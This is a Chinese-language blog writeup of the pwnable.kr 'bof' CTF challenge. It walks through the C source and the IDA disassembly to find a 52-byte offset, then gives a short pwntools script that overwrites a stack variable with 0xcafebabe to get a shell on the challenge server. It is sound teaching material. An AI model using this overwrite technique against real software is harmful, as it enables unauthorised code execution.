pwnable.kr的第三题[bof]详解writeup

首先我们登陆pwnable.kr,这里是道溢出题目,在题目提示中已经可以看出来了,我们下载一下bof文件,已经看一下bof文件的源码。http://pwnable.kr/bin/bof.c。


先是申明了一个char类型变量叫做overflowme,连接程序,他会输出一个overflow me:,然后你的输入会传入overflowme里,如果传入的key为0xcafebabe就会给你一个shell权限让你操作,但是这里的

int main(int argc, char* argv[]){

func(0xdeadbeef);

return 0;

}

会将你传进去的参数,赋值为0xdeadbeef,所以无论你怎么正常输入,进去的key都会是0xdeadbeef,所以我们这里需要在输入 0xcafebabe 之前需要填充字符把栈填满。现在放进ida里看一下。


shift+F12调出字符串窗口


双击overflow me跟进去


点击s然后摁x跟进去


gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的esp存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x....) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。

这里就要使用到pwntools了,这道题目也号称是pwntools里的helloworld。


网上写的大部分exp是针对python2使用pwntools的,我这个exp是针对python3使用exp的

from pwn import *

key=p32(0xcafebabe)

payload1=remote("pwnable.kr",9000)

payload1.send(bytes('a',encoding='utf8')*52+key)

payload1.interactive()


daddy, I just pwned a buFFer :)

恭喜你成为pwntools入门者。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • pwnable.kr bof 同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之...
    CodeRambler阅读 414评论 0 0
  • 0x01 fd 文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次...
    Nevv阅读 5,883评论 0 6
  • 0x01 codemap 1. 题目描述 2. 题目分析 我们直接看IDA反汇编后的代码: 经过分析我们可以看到,...
    Nevv阅读 618评论 0 4
  • Nana told me that buffer overflow is one of the most comm...
    Umiade阅读 762评论 0 0
  • 樱路古屋池 印墨云树里 曼妙水涟裳 天海共相织
    延竹阅读 156评论 0 1